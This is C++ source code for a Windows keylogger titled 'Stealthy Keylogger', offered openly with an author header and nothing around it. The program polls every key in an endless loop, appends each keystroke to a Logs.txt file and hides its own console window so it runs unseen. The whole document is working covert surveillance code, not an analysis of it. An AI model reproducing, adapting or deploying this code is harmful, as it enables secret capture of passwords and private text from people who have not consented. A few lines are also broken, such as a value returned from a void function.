Stealthy Keylogger

/*/
        Author : Asif Nawaz
        Type   : Keylogger
        Risk   : Moderate
        Publish: 2/14/2017
*/
#include <iostream>
#include <windows.h>
#include <winuser.h>
void Save (int key_stroke);
void Stealth();
using namespace std;
int main() {
    Stealth();
    char i;
    while (1){
        for(i = 8; i <= 190; i++){
            if (GetAsyncKeyState(i) == -32767){
            Save (i);
            }
        }
    }
    system ("PAUSE");
    return 0;
}

void Save (int key_stroke){
    if ( (key_stroke == 1) || (key_stroke == 2) ){
    // Do Nothing
    }
    FILE *out=fopen("Logs.txt", "a+");
    cout << key_stroke << endl;
    if (key_stroke == 8)
        fprintf(out, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(out, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(out, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(out, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(out, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(out, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(out, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(out, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(out, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(out, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(out, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(out, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(out, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(out, "%s", ".");
    else
        fprintf(out, "%s", &key_stroke);

    fclose (out);
    return 0;
}

void Stealth(){
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}